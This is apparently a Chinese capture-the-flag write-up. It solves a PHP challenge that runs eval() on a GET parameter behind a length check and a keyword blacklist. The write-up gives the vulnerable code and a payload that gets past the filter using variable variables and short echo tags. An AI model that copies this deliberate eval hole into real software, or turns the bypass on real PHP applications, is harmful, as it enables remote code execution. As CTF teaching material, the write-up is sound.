访问目标地址
发现了一段php代码,又是代码审计的问题
分析代码
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
flag变量长度等于$exam的长度,长度为49
flag变量不能包含` , “ , . , \ , ( , ) , [ , ] , _ , flag , echo , print , require , include , die , exit ;
eval($_GET[‘flag’]) === sha1($flag)
其中第三点等于sha1可以利用短标签绕过判断,直接利用eval输出$flag变量的值,构造payload绕过对flag字符串的过滤,payload为?flag=$a='blag';$a{0}='f';?>11111111111111111;<?=$$a;?>,得到flag{78062956} ;其中?>用于闭合开头的<?php 标记,111…111是用来填充长度的,
其中<?=$var?>和<?php echo $var; ?>的效果是一样的,用于输出某个变量
成功得到flag!
|